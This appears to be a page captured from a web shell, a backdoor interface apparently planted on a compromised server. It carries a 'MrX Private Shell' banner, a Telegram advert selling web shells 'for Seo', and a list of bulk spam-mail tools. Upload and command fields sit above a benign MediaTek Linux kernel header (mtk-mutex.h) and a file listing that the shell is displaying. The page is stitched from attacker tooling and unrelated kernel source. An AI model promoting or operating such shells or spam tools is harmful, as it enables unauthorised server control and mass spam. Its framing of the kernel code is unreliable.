__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* SPDX-License-Identifier: GPL-2.0-only */
/*
 * Copyright (c) 2015 MediaTek Inc.
 */

#ifndef MTK_MUTEX_H
#define MTK_MUTEX_H

struct regmap;
struct device;
struct mtk_mutex;

enum mtk_mutex_mod_index {
	/* MDP table index */
	MUTEX_MOD_IDX_MDP_RDMA0,
	MUTEX_MOD_IDX_MDP_RSZ0,
	MUTEX_MOD_IDX_MDP_RSZ1,
	MUTEX_MOD_IDX_MDP_TDSHP0,
	MUTEX_MOD_IDX_MDP_WROT0,
	MUTEX_MOD_IDX_MDP_WDMA,
	MUTEX_MOD_IDX_MDP_AAL0,
	MUTEX_MOD_IDX_MDP_CCORR0,
	MUTEX_MOD_IDX_MDP_HDR0,
	MUTEX_MOD_IDX_MDP_COLOR0,
	MUTEX_MOD_IDX_MDP_RDMA1,
	MUTEX_MOD_IDX_MDP_RDMA2,
	MUTEX_MOD_IDX_MDP_RDMA3,
	MUTEX_MOD_IDX_MDP_STITCH0,
	MUTEX_MOD_IDX_MDP_FG0,
	MUTEX_MOD_IDX_MDP_FG1,
	MUTEX_MOD_IDX_MDP_FG2,
	MUTEX_MOD_IDX_MDP_FG3,
	MUTEX_MOD_IDX_MDP_HDR1,
	MUTEX_MOD_IDX_MDP_HDR2,
	MUTEX_MOD_IDX_MDP_HDR3,
	MUTEX_MOD_IDX_MDP_AAL1,
	MUTEX_MOD_IDX_MDP_AAL2,
	MUTEX_MOD_IDX_MDP_AAL3,
	MUTEX_MOD_IDX_MDP_RSZ2,
	MUTEX_MOD_IDX_MDP_RSZ3,
	MUTEX_MOD_IDX_MDP_MERGE2,
	MUTEX_MOD_IDX_MDP_MERGE3,
	MUTEX_MOD_IDX_MDP_TDSHP1,
	MUTEX_MOD_IDX_MDP_TDSHP2,
	MUTEX_MOD_IDX_MDP_TDSHP3,
	MUTEX_MOD_IDX_MDP_COLOR1,
	MUTEX_MOD_IDX_MDP_COLOR2,
	MUTEX_MOD_IDX_MDP_COLOR3,
	MUTEX_MOD_IDX_MDP_OVL0,
	MUTEX_MOD_IDX_MDP_OVL1,
	MUTEX_MOD_IDX_MDP_PAD0,
	MUTEX_MOD_IDX_MDP_PAD1,
	MUTEX_MOD_IDX_MDP_PAD2,
	MUTEX_MOD_IDX_MDP_PAD3,
	MUTEX_MOD_IDX_MDP_TCC0,
	MUTEX_MOD_IDX_MDP_TCC1,
	MUTEX_MOD_IDX_MDP_WROT1,
	MUTEX_MOD_IDX_MDP_WROT2,
	MUTEX_MOD_IDX_MDP_WROT3,

	MUTEX_MOD_IDX_MAX		/* ALWAYS keep at the end */
};

enum mtk_mutex_sof_index {
	MUTEX_SOF_IDX_SINGLE_MODE,

	MUTEX_SOF_IDX_MAX		/* ALWAYS keep at the end */
};

struct mtk_mutex *mtk_mutex_get(struct device *dev);
int mtk_mutex_prepare(struct mtk_mutex *mutex);
void mtk_mutex_add_comp(struct mtk_mutex *mutex,
			enum mtk_ddp_comp_id id);
void mtk_mutex_enable(struct mtk_mutex *mutex);
int mtk_mutex_enable_by_cmdq(struct mtk_mutex *mutex,
			     void *pkt);
void mtk_mutex_disable(struct mtk_mutex *mutex);
void mtk_mutex_remove_comp(struct mtk_mutex *mutex,
			   enum mtk_ddp_comp_id id);
void mtk_mutex_unprepare(struct mtk_mutex *mutex);
void mtk_mutex_put(struct mtk_mutex *mutex);
void mtk_mutex_acquire(struct mtk_mutex *mutex);
void mtk_mutex_release(struct mtk_mutex *mutex);
int mtk_mutex_write_mod(struct mtk_mutex *mutex,
			enum mtk_mutex_mod_index idx,
			bool clear);
int mtk_mutex_write_sof(struct mtk_mutex *mutex,
			enum mtk_mutex_sof_index idx);

#endif /* MTK_MUTEX_H */

Filemanager

Name Type Size Permission Actions
dvfsrc.h File 903 B 0644
infracfg.h File 21.62 KB 0644
mtk-cmdq.h File 15.64 KB 0644
mtk-mmsys.h File 2.84 KB 0644
mtk-mutex.h File 2.32 KB 0644
mtk_sip_svc.h File 829 B 0644
mtk_wed.h File 9.24 KB 0644
Filemanager